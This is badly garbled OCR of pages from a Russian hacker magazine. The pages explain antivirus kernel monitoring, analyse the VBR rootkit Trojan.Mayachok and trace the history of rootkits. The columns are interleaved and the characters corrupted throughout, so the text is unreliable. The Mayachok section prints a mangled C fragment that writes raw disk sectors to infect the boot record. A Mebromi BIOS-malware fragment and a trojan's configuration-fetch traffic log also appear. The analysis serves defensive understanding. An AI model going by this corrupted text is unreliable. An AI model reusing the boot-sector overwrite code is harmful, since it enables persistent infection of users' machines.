-

Рисунок

sub

244С2

9. Испопьзование PsSetCreateProcessNotifyRoutine в DrWeb ДЛА контроля

над созданием процессов

воспользоваться специальной

функцией РsSеtСгеаtеТhгеаdNоtifуRоutiпе . Эта

и контролировать. Разработчики операцион­

функция регистрирует функцию уведомления,

ной системы

которая вызывается в момент создания или

механизмовдляполучения у ведомлений

уни чтожения потока [рисунок 81. Поскольку

о наступлении каких-либо событий. О приме­

но его исполнение еще не началось. Во втором

функция уведомления вызывается в контексте

нении некоторы х из них в различных анти­

случае операционная система вызывает

потока, который инициировал создание нового

вирусных программах я немного рассказал

функцию уведомления перед завершением

потока, то определить инициатор и выяснить,

выше [такие механизмы основаны на ис­

последнего потока в процессе . Что мы можем

насколько он его благонадежен, не составляет

пользовании функций

сделать, узнав, что какой-то процесс начал

труда.

Windows

предусмотрели много

CmRegisterCallBackEx, RеgNоtifуСhапgеКеуVаluе и PsSetCreateThread Nоt ifуRо utiпеl.

создается и когда процесс завершается.

В первом из них функция уведомления вы­ зывается, когда начальный поток уже создан,

свою деятельность в операционной системе? Во-первых, мы можем просканировать всю

Для регистрации функции уве­

память процесса, чтобы выяснить, нет ли в нем

домления о создании или заверше­

вредоносного кода [отом, какэтосделат~

ния процесса предусмотрена функция

мы уже знаем из прошлой статьиl. Во-вторых, пробить этот процесс по списку доверенных

крутятся в памяти компьютера, и уж тем более

PsSet С reate Р госе ssN о! ifyRo uti пе [Ps SetC геа! еРгосеssNоtifуRоutiпеЕх начиная с Vista SP11,

о целесообразности выявления процессов,

и большинство создателей антивирусных

принималась ли попытка создать процесс

пытающи хся скрыться от « всевидящего

средств не считают заэорным ею пользоваться

с отрицательным

ока»

[к примеру, на рисунке 9 проиллюстрирована

о намерении скрыть такой процесс. Ну

оказаться з ловредным, а уж тот, который

регистрация саllЬасk-функции в драйвере

и в-четвертых, можно получить список про­

пытается скрыть свое присутствие в системе,

dwprot.sys от « Доктора Веба » l . Операцион­

цессов с помощью СгеаtеТооlhеlр32Sпарshоt

и вовсе потенциальный враг. Поэтому все

ная система вызывает зарегистрированный

[или

процессы необходимо строжайше у читывать

обработчик в дву х случаях: когда процесс

хо димости контроля всех процессов, которые

Task Мапаgег'а. Любой процесс может

г----·

IHIT:00051115

• • • • •

IHIТ:0005111B

PID,

что однозначно говорит

NtQuerySystemlnformation на более низком уровнеl и проверить, есть ли там

loc 5134F ( offset loc 2D8BA ) byte_43D2F, 1 ds: PsSetCreateThreadHotifyRoutine esi, еах esi, еЬх

IHIТ:

00051120 00051127 IHIТ: 0005112D IHIТ: 0005112F IHIТ:

Указатель на

и благонадежных. В-третьих , узнать, не пред­

callback-

фvнкцию

Рисунок 8. Настройка функции уведомления в «Антивирусе Касперского» на реагирование на создание потока

078

ХАКЕР

02/157/2012


Бурим антивирус. Еще глубже!

• 1 HIТ:

0ОО2А51 D

еах,

roou

[ebp- 20h ] 15598, еах ( offset loc 1F478 ) ds: PsSetLoadIroageHotifyRoutine [ebp-1Ch ], еах

IНIT: 0ОО2А520

dwo~d

• IHIТ: 0ОО2А525 • 1 НI Т: 0ОО2А52А • 1HI Т: 0ОО2А5ЗО

УКа3атеnь на функцию уведомnения о эаrруэке оБРа3а в память

Рисунок

10. PsSetLoadlmageNotifyRoutine в DrWeb контролирует загрузку драйверов

только что созданный процесс. Если его там

ствами , как было во времена старого доброго

Касперского » , которая включила этот меха ­

нет, значит, ему есть что скрывать . При этом

MS-DOS . ДЛЯ

низм в свои антивирусы с шестой по девятую

многих программ драйвер

это

путь к ядру системы , путь в

п у щенный процесс эа с чет пере х вата функции

к ак любой с олдат м е чтает стать генералом,

ядра

любая более или менее амбициозная малварь

к уже знакомым нам функциям уведомления. Функция PsSetLoadlmageNotifyRoutine

рез ультатов работы этой функции. (Надеюсь,

мечтает проникн у ть в ядро си с темы и поста­

регистрирует функцию уведомления, которая

ты знаешь, чем АРI-функции с префиксом

вить ее на колени , а с амый прямой и простой

вызывается в момент загрузки образа или

с пособ осуществ и ть эт о

отобра ж ения образа в память. Операцион -

и фильтрации

отличаются от функций с префиксом

Nt?

Zw

Если

-

же

версиюl. Помимо этого, мо ж но прибегнуть

в большинстве случаев малварь скрывает за ­

ZwQuerySystemlnformation

ringO . Так

-

загрузка своего

нет, срочно читай Ру с синовича . 1 Таким обра­

специально обученн о го вредоно с ного драй­

ная си с тема вызывает зарегистрированную

зом, обнаружив, что эта функция пере х вачена

вера . В с вою очередь , любой более или менее

саllЬасk-функцию после отображения в память

кем -то неизвестным , срочно начинай бить

амбициозный авер просто обязан следить

образа , исполняемого в пользовательском

тревогу .

за всеми драйверами в системе для борьбы

про с транстве или в пространстве ядра (как

с этим явлением .

раз то, что нам ну ж но, ведь драйвера как раз

В о обще, практически все более-менее се рье з ные вредоносные программы любят

Первый с пособ, к оторый напрашивается

п е ре х ватывать раэличные функции, но это мы

сам собой ,

о бсудим чуть позже.

драйверов путем пере х вата АРI-функции

ЗАГРУЗКА ДРАЙВЕРА

это контролировать загрузку

-

NtLoadDriver.

Он прост и , в общем-то , эфф е кти­

вен , им не брезг у ют пользоваться очень мно­

Думаю, ты знаешь, что драйвер служит

гие производители антивирусны х программ

не только для управления всякими устрой-

(к примеру, Comod o, F-Secure, « Лаборатория

и грузятся в ядроl , до начала исполнения об­ раза (рисунок 101. KpOMeTOГ ~ некоторые антивирусы учитывают, что для загрузки драйвера его

нужно прописать его в ветке реестра HKLM\ System\CurrentControISet\Services (рисун ок 111. Достаточно следить за этой веткой , чтобы в случае появления там подозрительного раз­

дела с параметром Туре , значение к оторого

равно 1, 2 или 8 (зто SERVICE_KERNEL_DRIVER, SERVICEJILE_SYSTEM_DRIVER или SERVICE RECOGNIZER_DRIVER cooTBeTcTBeHHoI, с воевременно поднять тревогу (рисунок 111. Надо сказать, что не все антивирусы опо­

Enum

sntmt APfМlno!ool пtn.tта .1l!.Rm!It. Ш!1Ita. (Jq)t.mIII .. (по(060'" C:\ WnlDOWS \SYSТEt.02\DRlVERS\ДOffiCJМ120.$Y'S. Послt

яrружи Atпи8МР'У< "'Cnfpoc.oro не 'I.&oxtt lCонтроJtИРО8lТЬ "aHaHOnb nporpat.la.ltll. ПОТtн ЦМlJlWiО onккu n porp'M'"

вещают пользователя о загрузке драйвера.

Не к оторые аверы однозначно и бесповоротно считают любой подозрительный загружаемый

драйвер вредоносным и без спросу удаляют и сам драйвер, и программ у, которая пыталась

09.9}9tЦMItНМ ymnotp .ptiКQI

его загр у зить, после чег о бодро рапорт у ют, что

Процесс (PID: 8Q.I4):

малварь у ничто ж ена .

D:\д,иаРН6yrиtlti\КfЯt'ЕL OEТ._\КfRt4EL ОЕТЕCПVE . fXf

+

' ЧТО ДАЛЬШЕ? Разрешить ДtйпеНt 6),М1 P'SPtWfHO

Наш главный редактор уже многозначительно постукивает р е зиновой ду бинкой по с т олу,

+ кара"","

намекая на то , что выделенное под статью

+

рассказать про распознавание кейлоггеров ,

ПоutснlТь фа"" НI к.1РIНТИН

завершит ь Пр еРNТЬ .... ПОJl НfНиt

+ Доба 8llТЬ К lICКI1 юченмам До6а1КТ ... 8 (ПИ( О!( II(МIOЧfНIIЙ

Рисунок 11 . Реакция «Антивируса Касперского» на загрузку драйвера от Кегпе' Может, он и вправду вредоносный?..

Detective 1.2.

место заканчивается. А ведь мне так х отелось антирут к ит-те Х НОЛ 0 ГИИ, « песочницу ~ подо­ зрительную сетевую активность и целост­

но с ть системны х файлов, да и аналитический

компонен'т проактивной защиты остался без внимания ... Н у что же

-

жди продолж е ния ,

следующий номер не за горами.:Х:

ХАКЕР

02 {157{ 2012

079


MALWARE

Алекса ндр Э ккерт

[stannic.man0gma il.coml

кит НОВЫЙ ТИП РУТКИТОВ, ЗАРАЖАЮЩИХ 800Т-СЕКТОРА у производителей

антивирусного обеспечен и я появилась новая головная

боль

-

в руки вирусописа теле й

попала очень необычная

-

ЯВЛЕНИЕ VВR-РУТКИТА

Хоро ши е пр а ктики

операционной системы, использующая особенност и загрузки томов жесткого диска.

Or.Web

новоявлен-

сист е м ного

ный руткит был назван Тгоjап.Мауасhоk. Кроме посредственного

к о ди нга оп и са н ы в

отчета, никакой информации о нем пока нет. Мы восполним зтот

ч е т вер то м из дан ии

за м ечательно й к ниги «Windows

System Programming», которое вы шл о в

-

2010 г о ду.

Е сли п оста р атьс я, ее м о жн о н а й т и в Сети.

пробел и как следует разберем эту интересную малварь. Основной особенностью рутки т а является необычный механизм заражения системы

можешь быть уверен, что ранее такого оригинального

-

способа в дикой природе не встречалось.

Каждый раздел диска 'то есть каждая партиция, иногда на­ зываемая «логический том

005»], имеет собственную загрузочную IVo[ume Воо! Record, VBR] или по-другому - сектор, кому как нравится . Он отличается от Mas!er Воо! Record IMBR], которая

запись

Д л я т ого чт обы п р ио брес т и о ч е нь х о р ош и е н авы ки

контролирует процесс загрузки всего диска, однако суть их схожа.

Таким образом,

VBR

р або ты с ядром

ского тома. Каждый

Windows, сов етую

Рагате!ег

пос е т ит ь

www.

osronline.com. Это од ин и з л у ч ши х

новая технология заражен и я

С легкой руки антивирусных товарищей из

са йт ов в Сети о программирован и и в

отвечает за загрузку определенного логиче­

VBR состоит из блока параметров диска lDisk Block], который содержит специфическую информацию

о томе, такую как размер, число секторов, имя тома и Т.Д . , а также

сам ко д за г рузки тома IVo[ume Воо! Code], ко т орый используется дл я старта опера ц ио н ной системы. Этот код вызывается кодом

kernel mode в ядре,

загрузки TOMalmas!er Ьоо!] и исполняется каждый раз, когда за­

к тому ж е хорошо

гружается операционная система. Более подробно о различиях

освещающи й К ОДИНГ под 61t-бит н ые с и с тем ы .

Ниже мы попробуем в не й

разобраться .

и особенностях

MBR

и

VBR в различны х операционных система х - http:Uthestarman .narod .ru/asm/mb r/index .

можно прочитать здесь

html . VВR-руткит заражает

код загрузки тома , подменяя список

драйверов , грузящихся операционной системой и та к им образом классическая проверка только загрузочного сектора не может

обнаружить вредоносный объект, так как он располагается дальше

-

внутри

VBR . VВR-руткит

перехватывает прерывание

INT 13h для

ы мо г об р ати т ь внимание, что за п оследние один - два года

просмотра содержимого секторов, считываемых с диска. Затем

с л ожнос т ь комп ь ю т ерных ви р усов су щ ественно вырос л а.

он загружает с диска свой драйвер и распаковывает на прежнее

Соз д ае т ся в п ечатле ни е, ч т о н а п о п ри щ е вирусмейке р ­

место оригинал ьн ый код

VBR.

Управление возвращается систем­

с т ва и руткитост р ое н ия вч е р а шн их ш коль н иков потеснили очень

ному загрузчику. После этого руткит патчи т

си л ь н ые ко д е р ы, ко т о ры е, д а л и бы фору даже самим разработ­

ехе, wiпlоаd.ехе и т. д., В зависимости от используемого операци о н­

n!ldr, boo!mgr, osloader.

чикам вин д ы. В оз н икает в опрос, почему б ы им, с их знаниями, не

ной системой загрузчика, так как под удар попадает вся линейка

работат ь на хороших п арней? О тв ет очеви д ен . Н и одна антивирус­

ОС

ная ком п ания не буде т платить такую зарплату, которая устроит

что он использует не только обычные пере х ваты , но и аппаратные

разрабо т чика прод в инутого руткита, ве д ь помимо огромного бабла

отладочные регистры IdгО-dг7] и выполняет трассировк у кода . Это

Windows. Определенная

новизна руткита также состоит в том,

за разработку ру т кита он на в ерняка получает еще и процент от

необходимо для того, чтобы придать универсальность руткит у и

партнерок п о по д ме н е вы д а ч и или от тех, кто принуждает поль­

обеспечить его обходом защиты целастности загрузочны х модулей.

зовате л ей от п ра вл я т ь пла т н ы е 5М5-сообщения . Так что, в общем,

Непосредственно установка драйвера и перезапись вызывается

можно не уд и в ля т ься п оя в лению таких сложных и интересных

во время выполнения

т ех н ологий, как з а ражение

проинициализирована ' О Т и отключены прерывания и

080

VBR.

n!!Ki5ys!em5!ar!up,

когда в системе еще не

Pa!chGuard .

ХАКЕР

02/ 157/2012


VВR-руткит

Далее автор вредоносной программы прибег к изящному и не­ стандартному решению: руткит патчит с писки из структуры

LOADER_PARAMETER_BLOCK,

в частности в список

LoadOrderList

он добавляется как копия первого модуля в списке [а это ядро ОС!, а в BootDriverList как эагрузочный драйвер, якобы прописан­ ный в ветке реестра \Rеgistгу\Масhiпе\Sуstеm\СuггепtСопtгоISеt\ Services\null. Сам механиэм перезаписи сектора не использует

[-Незараженная система

никаких новых методов. Крис Касперски, например, неоднократно

писал в нашем журнале о способах гаw-чтения и эаписи информа­ ции на жесткий диск . Обычно для этого вызывается АРI-функция

nbtdll!DeviceloControl

с кодом

10CTL_SCSI_PASS_THROUGH_DIRECT. SCSI_PASS_THROUGH_DIRECT и SCSI_PASS_THROUGH_DIRECT_WITH_BUFFER, после чего уже по­ сылается SRB [SCSI Request Block! . Руткит делает это с ледующим Предварительно заполняются блоки

(истема, зараженная VВR-руткитом

образом:

незачем. Как именно портит жизнь троян, зависит уже от самой

.н е F],iJE.S .. &.s.с;SI_IQ_WIЦЛ_SЕС1:Q.R) ........ _.......................................... _....

прогружаемой библиотеки. Так, антивирусные компании часто

с

утверждают в тырнетах, что

.............................................

..... Dir.е.!=tiо.п .." ...s(s;с:щсr.LQАIА_Q!Пj ...... _ ........._.............................. ._.... QpCQJ;J.e..." ...S(SI.QI'_~RJT~.;. ... ..__ .РR(Q~еlQ ..::..sСSIQр'_WR)Л1Q; ......... . .......................... .

1... el~.e

.........................

с

.. _ Dir:е~1;iол ...':'_..sсs;С);QСН_DАТА_1Nj .. .... CJPC.Qd.e. ." ..5CSIOP_R.EAD ;......... . . . . .......................... _ .... Qр.Со.Qе1б . ".. sСsIQР_RЕАQцij...... .................. _.. _ }....

............. .................. ............. ...............

.

.........................................

Mayachok

представляет серьезную

опасность. Он крадет средства со счетов сотовых абонентов, предлагая пользователям ответить на входящее SМS - сообщение . Зафиксированы случаи, когда троян подмен ял

youtube .com, vkontakte.ru, odnoklassniki .ru , rostelecom.ru , support.akado.ru, my.mai l.ru и блокиро~ал доступ в интер н ет. При попытке открыть в браузере какой-либо сайт Trojan.Mayachok .1 перенаправлял пользователя на URL страницы, предлагающей «активировать» или « подтвердить » аккаунт. Для этого пользователю нужно было указать свой номер телефона и ответить на SМS-сообщение . Один из подтвержденных методов распространения этой програм-

...... if ..(SR:t .= .. СРSСSI_I'АS.S_IНRРЧ!iJ:U1ЩЕ;.cI) m.<l1J&c.Ct!b.e.nJl... _.......

мы

с

программу для просмотра посетителей, заходивших на страницу

........

SRt.b..." ..{I'SC.S_I_I'l\S.S_Т!:!.RР.LlGI:I_D.I.R.ЕСJ_WПН_6.Uf..Е.ЕЮ.Sрt j ........... ...... h[)ri.\!e =...C.reatef.j.J.e (DrJ уе, .. ' '." ); ... _ ... ...... if.. Cb.Rr~ye.. ..!.= . INv.IЧ,.ДU:iАNQ.L.Е_V!lLLН;1. .. .............................. _....... . ..... {

-

рассылка в социальной сети В Контакте, рекламирующая

пользователя. Это означает, что

Trojan .Mayachok

прогружает в про­

цессы браузеров свою библиотеку, которая подменяет стартовые страницы указанных сайтов, которые просят доверчивых п ользо­ вателей отправить SМS-сообщение для получения доступа к саЙту .

.

.S.R:t.c.>L,eDg1;b... ,,_.~:i,~.e.QJ (S.CSI_P.8.SS_IJ:J.RQI..ll.iI:i_D.IR.!;CJ)j .......... .Sр.:t:. >S.е.nsеIIJJQLелg.~Ь... " .Я.I~!3_S.ЕJJS.Е_L,.ЕNЯТI:i.;' __ ................... .... S.Pt с >Da.1;aln ..".. Dir.e~.t;j,Qn.j.. _... _ ... _....._........... _............... _ ....._... ...Sp:t С. >Qa:!: аJr:.<Iл.~.fе r L.!шgt.Ь ..." .. 'ьел g1;bj .......... _................................. . SP.t c.>Н!lщОц:tv.!!J.це.. _,:,....4~~ ;.... _............................ _........................... ..5.Rt - >.Q!!.:taBuJf.er:. =.. E!.uffeci............................ _....... _... __ .... _.... _ .Spt : >SelJ.selnfo.Qf.f ~.e.t... = .СЩ.QNG )... _.. .................. _........._...... . .__ .... С(РСJ:lдR)&.Sр.:tЬ с2.Sеn s е.JлfО!3uf.fеr. ..:... {РСI:iАRJsр1;Ь.).j .... ....;i,J.. .(LQ6'!'Л( .LQWQRD{l.iе:l;Vе.г.?Jоп .>.. 5 } ..... _.. _ ..................... ........sP.~ =.~(dPJ6 ..0p.eCiJ.t.iQnJ:.Qde ..7' .. .Qp.CP.de.16; ................... _........ ...eJ?e _..............._ ......................................................................._..... _.. _.. ......... _...Sр:l;.:.~С q.QJ.J;.•.CJRе.г.!!.цОlJсQ.Qе..." ...QрСQg.е.;. .................................. ..5pt: >.СQРlб..J9J:.сеUл:j..:tАСJ:.е~.s. = 1R.UJ:j...................... _.._ .. _._........ ... LJ. ..IуI ...;!.<IJ1()!!Ijв!9тс.~._.9.!1 (ж~... ?рt:..>.с dы1• ...................... ... sp.:t.: >(QЬJб .COIJ1;ro],..." ex;1~;. .... . .............._.................................. _.... _. .J !. J!Щ~J]аеr1..s.R!!. :Ь1Q~!s. I),J1Ч~У..... _......... _............. __ ................... .. _S1;!!1;чs....':'.. D.еvJ.с.е I Q(ОО:l;ГQ1(!lQr:iу.е., .............................................. . ....... IрСл_SСSсРАS.S_ТНRРч!il:сDIRЕ.ст., ...sР.1;, . рL,е.л, ..... _.......... ...._ .. Sp~, .. b.L,el),. &bKe.!!.Q•.. NЩ.L); ._................ _ .............. __ ... .

(». ).

Вся закавыка в том, что сам VВR-руткит служит лишь средством для доставки зловредного кода и сам по себе ничего деструктив­

н ого не несет [с точки зрения воздействия на ядро и установки драйвера в систему! .

И НА СТАРУХУ НАЙДЕТСЯ САМ ЗНАЕШЬ ЧЕГО ... Самое удивительное в новомодном рутките

-

это отсутствие хоть

какой-нибудь защиты от проактивок и антивирусны х программ . И это крайне необычно, поскольку автор руткита, со своим опытом и очень оригинальным подходом к делу, мог бы запросто прикрутить

для защиты нечто выдающееся. Например , взять кой перехвата обработчиков

atapi .sys,

TDL с

его техни­

которая используется для

сокрытия файлов и до сих пор ставит в тупик разработчиков анти­ вирусных решений. Реализуй автор VВR-руткита нечто подобное,

троян бы превратился в очень мощное оружие, бороться с которым было бы очень непросто. Однако, как ни странно, ничего похожего в функционале VВR-руткита нет. Может быть, автор решил сделать защиту в более поздних « релизах » или В версиях для более узких

кругов? К тому же выявить заражение системы очень легко [см .

скрины!. Да и вообще , зараженная VBR, присутствие « левого »

... 1 ._.. fre.e .(Spt);._... _ ..........

драйвера и

}........._..................._.........

загрузки процессов ка

-

dll в системе, регистрация собственного нотификатора PsCreateProcessNotifyRoutine и патч заргузчи­

все это палится в системе на ура.

МУХИ И КОТЛЕТЫ в зараженную систему устанавливается полноценный драйвер,

ЗАКЛЮЧЕНИЕ

однако он всего лишь грузит дополнительную библиотеку или

Выходит, не такой уж сильный программист писал этот руткит. Но

во в се процессы подряд , или в некий заранее выделенный [тот

зато в креативности ему не откажешь. Возможно, в будущем его

экэемпляр, который попал мне в руки, грузил

замучают клиенты, и он разработает более серьезные и сложные

dll

во все стартую­

щие процессы!. Это осуществляется с помощью обычного способа, который основан на регистрации собственного нотификатора

PsCrea teProcessNotifyRoutine

и последующем задействован ии

версии VВR-руткита, которые будут выделяться не только уникаль­ ным способом заражения системы . Интересно будет посмотреть,

что у него получится, - разработчики ТDL!ТDSS не стоят на месте,

механизма АРС. Этот способ, используется и семейством руткита

и, может быть, этот руткит тоже получит интересное техническое

TDL!TDSS, в нем нет ничего нового, и останавливаться на нем

развитие . ::t:

ХАКЕР

02/157/2012

081


MALWARE

deeonis Ideeonisragmail.coml

китов

.. ...

ОТ НАЧАлА НАЧАЛ ДО СЕГОДНЯШНЕГО ДНЯ Термин «руткит» сам по себе не означает ничего плохого . Это всего лишь утилита

или набор утилит для сокрытия какого-либо программног6 кода и следов его работы . Однако, так как скрываемый код обычно является вредоносным, в народе этот термин

прочно закрепился за зловредами , прячущими себя в системе . Первоначально

появил и сь в UNIХ-системах -

rootkit'bI

они помогали замаскировать присутствие взломщика в

системе. Но известность они приобрели с выходом операционных систем от Мicrоsоft . А началось всё еще во времена

MS - DOS

и стеле-вирусов ... ,


История руткитов

стелс-вирусов под

1986

Они перехваты­

MS-OOS.

вали разнообразные прерывания и ОО,,5функции. Например,олигоморфик-стелс-вирус

В 1~86 году братья Амджат и Базит Алви IAmdjat и Basit Faroog Alvil из Пакистана разработали вирус Brain. Зловред, в теле

Kerplunk

обрабатывал целых

23

функции:

обращения к файлам, поиска, выделения и освобождения системной памяти.

которого содержались имена, адреса и номера

телефонов авторов, был разработан для того, чтобы наказать пиратов, ворующих софт у их компании. При попытке чтения заражённого

1993

,

оригинал, то есть фактически являлся первым

В 1993 год1"8'ышла новая ОС от Microsoft - Windows NT 3.1, которая задала новые

стелс-вирусом в истории.

стандарты безопасности . Под эту операцион­

сектора

Brain

Brain

«подставлял» его незаражённый

не только получил звание родона­

ную систему некоторое время не появлялось

чаль"'ика стелс-зловредов, но и стал первым

никаких серьезных зловредов, не говоря уже

зверьком, спровоцировавшим настоящую

о стелс-вирусах. Продолжалось развитие вре­

эпидемию,

только в США им было инфици­

доносного ПО для

18 тысяч

еще широко распространен.

-

ровано около

компьютеров.

MS-OOS,

КОТОРрlЙ тогда был

1995

990 В первые годы последнего десятилетия ХХ

В

века проблема вирусов начала приобретать

Джефри Рихтер IJeffrey Richterl в своей ле­

глобальный характер. В

гендарной книге

году на свет поя­

1995

году гуру Wiпdоws-программирования

который, помимо всего ~рочего, использо­

Programming Applications for Microsoft Windows описал технологии перехва­ та системных Bb~BOB в ring3. Впоследствии

вал для своей ~щиты стелс-приемчики.

во многих вредоносах использовался код из

1990

вился первый полиморфный вирус

Chameleon

Chameleon,

-

Автор

BluePil1 Жанна Рутковекая. Красивая

и умная

одновременно

примеров, приведенных в этой книге.

успешно обходил антивирусные

программы тех лет и долгое время был недо­

При вызове некоторых из них вирус модифи­

сягаем для них .

цировал системные данные таким образом,

Во второй половине 1990-го «на волю»

вырвались

Frodo

и

Whale.

Оба зловреда ис­

1997

чтобы файл не выглядел инфицированным .

пользовали продвинутые стелс-технологии, а

Первый wiп32-вирус, использующий стелс­

был знаком с шифрованием и при менял

приемы, появился лишь в 1997-м И получил

Whale

антиотладочные трюки.

992

названиеWiп32.СаЬапаs. Зловерд инфициро­

1999

вал РЕ-файлы, предварительно проверяя их

В 1999 году Грег Хогланд IGreg Hoglundl создал

размер. Если он был кратным

утилиту

101

байту, про­

NT Rootkit,

в которой реализовал

грамма считалась зараженной. Чтобы скрыть

технику обхода системных механизмов защиты

следы своей активности,

Windows.

Cabanas

перехва­

Результаты его работы были опу­

ExeHeader появи-

тывал несколько АРI-функций, в том числе

бликованы в электронном журнале

Зловред перехватывал

все стелс-вирусы, которые разрабатывались

13h-прерывание и заражал файлы при чтении/

FindFirstFileA, FindFirstFileW, FindNextFileA и FindNextFileW. Если файл, к которому шло

записи сектора, если в нем оказывался

обращение, был заражен, вирус реализовывал

зывать руткитами.

заголовок

свой полустелс-алгоритм и показывал, что

Семейство вирусов лось в

1992 году.

MZ. Самым опасным из них стал ExeHeader.396, который работал на уровне

этот файл имеет меньшую длину.

21h-прерывания и заRажал ехе-файлы при их

В следующие году появилось множество

заliyске. Вдобавок к э~му он периодически

зловредов, использующих стелс-технологии

пытался испортить жесткий диск. Другие виру­

'разной степеНjl сложности. Например,

сы семейства ниями 16~

ExeHeader 1Ch, 2Fh.

работали с прерыва­

~послеДуlOJ.Цие годы появилось множество

Win9x. Zerg ра.ал только под управлением Windows 95/98 и перехватывал девять функций откры­

тия/закрытия, чтения/записи и поиска файлов.

а

PHRACK,

после этого, с легкой руки Хогланда стали на­

В это же время вышла книга П. Дабак с со­ авторами «Недокументированные возможно­

сти Windows NT» 'Р. Oabak et аl "Undocumented Windows NТ"I, которая описывала методы перехвата системных вызовов в ringO. БОIlее подробно эта тема освещается в книге Свена

Шрайбера «Недокуме.нтированные возможно­ сти

Windows 2000»,

изданной в

2001

году.

Protocol

'nfо

нттр

GET 7 Banner3.php?q=5011 .501 1 .2000.0.0. 4fac4ac372 GET l Banner2.php?q=5011.5011.2000.0.0.4fac4ac372

нттр

• 200 ••

НТТР!1.0

нттр нттр

нттр нттр

ОК (application, octet-strean) GET 'Banner. P~lR? aff _ i d=10б82 нттр / 1.1 НТТР /1.1 404 Not FOL,nd (text / htl'l) GET 'irdex.php?aff_id=24080 нттр 1.1 нттр 1.1 200 ок · (text html)_ · ______~__~____~

Blaek Internet Trojan запрашивает конфигура цию www.wеаtИегtаlkz.еоm

.. ХАКЕР

02/157/ 2012

083


;

MALWARE

КОММЕРЧЕСКИЕ АНТИВИРУСЫ Русский программист создал проект

he4hook.

Программа не содержала вредоносного кода, но умела скрывать файлы на жестком диске .

Она работала на уровне ядра , но сам автор не считал свое детище руткитом .

2002

БЫЛИ МЕНЕЕ ЭФФЕКТИВНЫ, ЧЕМ СПЕЦИАЛИЗИРОВАННЫЕ БЕСПЛАТНЫЕ

2002 в

ПРИ ОБНАРУЖЕНИИ РУТКИТОВ

УТИЛИТЫ

году появилась 1'тилита

..

Hacker

Dеfепdег [она же НасDеН. Программа, не

реализовывала принципиально новую техно­

являвшаяся зло вредом, тем не менее предо­

логию, основанную на изменении C~MHЫX

версии таких про грамм были узконаправ­

ставляла гораздо больше возможностей, чем

структур, а не путей к ним, как)То делали

ленными, например умели выявлять только

he4hook.

НасDе! умела скрывать не только

коммерческие антируткит-утилиты. Первые

скрытые файлы, но со временем маленькие

предыдущие программы такого типа.

В это время множество вредоносных

утилиты превратились'"fполноценное ПО ~ля

Утилита имела гибкие настройки и работала

программ начали испольэовать код или

обяаружения гооtkit-вирусов. Такие програм­

преимущественно в

готовые утилиты таких руткитов , как НасDе!

мы обладают мощным функционалом и гиб­

и

кими настройками. К наиболее полезным из

файлы, но и ключи реестра и процессы .

user-mode.

FU.

Вирусы либо напрямую обращались к

исполняемым файлам маСКИРl.ющего софта,

2003

них можно отнести

что было самым распространенным решени­

Инструмент Vапquish вышел в

2003

году.

BootRoot,

и НасDе! в том или ином виде

предшественников, выполнял некоторые

Очень редко можно было встретить

вредоносные действия, а именно логировал

написанные на заказ. Качество этих уни­

еще во времена

пароли. Работал

кальных программ было на высоте. -

Windows

Haxdoor.

того времени.

rootkit 'bI ,

Это был

руткит-технологии для своей маскировки. ПО работало в режиме ядра . Позже вышла его модификация д-311

80 % руткитов

породившая концептуально новый

класс руткитов

встречались в

В этом же году появился

2004

в 2004 году появилась утилита F ~

назначенная для сокрыти,," процессов. Она

-

загрузочные руткиты или

буткиты. Идея вовсе не нова, так как вирусы,

записывающие себя в МВR,.существовали MS-DOS.

Правда, в мире

такие шалости были гораздо слож­

нее в реализации и опаснее .

2005 в

Death.

Uпhооkег.

общества была разработана технология еЕуе

• Haxdoor.

и ключи реестра , но, в отличие от своих

у ж е полноценный бэкдо~, использовавший

Rootkit

ем, либо модифицировали код опенсорных

Haxdoor, FU

в гiпg3 .

и

зловредов-руткитов, основанных на

Он позволял скрывать файлы, директории

Vanquish

GMER

Параллельна в недрах хакерского со­

2005

году рут к иты распространились на­

2006

столько широко, что привлекли внимание

в

СМИ и крупных компаний . Так, например, на

пользоваться в е-mаil-червях~ троянцах,

конференции

таких как

RSA Security с~тостроитель­ Microsoft подняла вопрос об

2006

году руткит-технологии начали ис­

Bagle

или Gоlduп. Один из круп­

ная корпорация

нейших ротнетов того'времени -

угрозах со стороны руткитов.

активно использовал гооtkit-приемы . К концу

В это же время начали появляться не-

Rustock-

своей жизни спамерская сеть насчитывала около двух миллионов компьютеров и могла

отправлять до

.

Stl"ingFound = О; FileHandle = Cl'"eateFileA ( "c:\ \bios, bin" , Ох80000000и, О, О, 3и, hFile = FileHandle ; if ( FileHandle ( HANDLE )OxFFFFFFFF && ( FileSize = CetFileSize ( FileHandle , О) , FileBuffel" = opel'"atol'" new( FileSize ) , lI\ell\set ( FileBuffet' , О, FileSize ) , ReadFile ( hFile , FileBuffel'" , FileSize , &NUIl1Ьеt'ПfВуtеsRеаd ,

Ох80и,

,=

Index = О; if ( FileSize

{

11 11 11 11 11 11

О

* ) FileBuffel'" *(СВУТЕ * ) FileBuffel'" ~VТE * ) FileBuffel'" *rCBYTE * ) FileBuffet' *« ВУТЕ * ) FileBuffel" *( (:ВУТЕ * ) FileBuffet' *(СВУТЕ * ) FileBuffel'" *(СВУТЕ

}

StringFound = 1; Часть кода Mebromi

пании в массовом порядке стали внедрять в

свои продукты модули по борьбе со. всемо­ гущими зловредами . В целом коммерческие антивирусы при обнаружении руткитов были О»

)

менее эффективны, чем специаJ1изирован­

ные бесплатные утилиты, которыми, однако, лами.

)

++ Index ; if ( Index >= FileSize ) goto _end; }

тысяч сообщений в час.

могли использоваться только проФесси ~ а­

>

{

while (

О);

25

Между тем крупные антивирусные ком­

+ + + + + + +

lndex ) Index + lndex + Index + Index + lndex + lndex +

,=

'h' 1) != 'о' 2) != 'о' 3) != 'k' 5) != '1'"' 6) != 'о' 7) != '11\'

Но и вирмейкеры не стояли на месте. Появились концепции руткитов, основанные на аппаратной виртуализации. В 2006-м ИХ было целых три:

SubVirt, Vitrio

и

BluePill.

Последняя была публично продемонстри­ рована на конференции

третьего августа

2006

реализации для ядра

Black

На! Вгiеfiпgs

года в виде образца

Windows Vista .

Этот

руткит р~зработала Йоанна Рутковская, польский специалист по компьютерной ' безопасности. Йоанна утвер~ала, ЧТО, ее творение является « на 100 % не обнару­ жИ'ваемым » , 1l0СКОЛЬКУ гипервизор может

обма~уть любую программу детектирова­ ния . Впоследствии она же создала про-

ХАКЕР

02/157/ 2012


История руткитов

GЗ view mbr.bln - far

01100000000: 0000000010: 0000000020: 0000000030: 0000000040: 0000000050: 0000000060: 0000000070: 0000000080: 000011И0090: 00000000А0: 00И00000В0: 0000000ЙС0:

. ' .. '-1

33

ВР

Е5

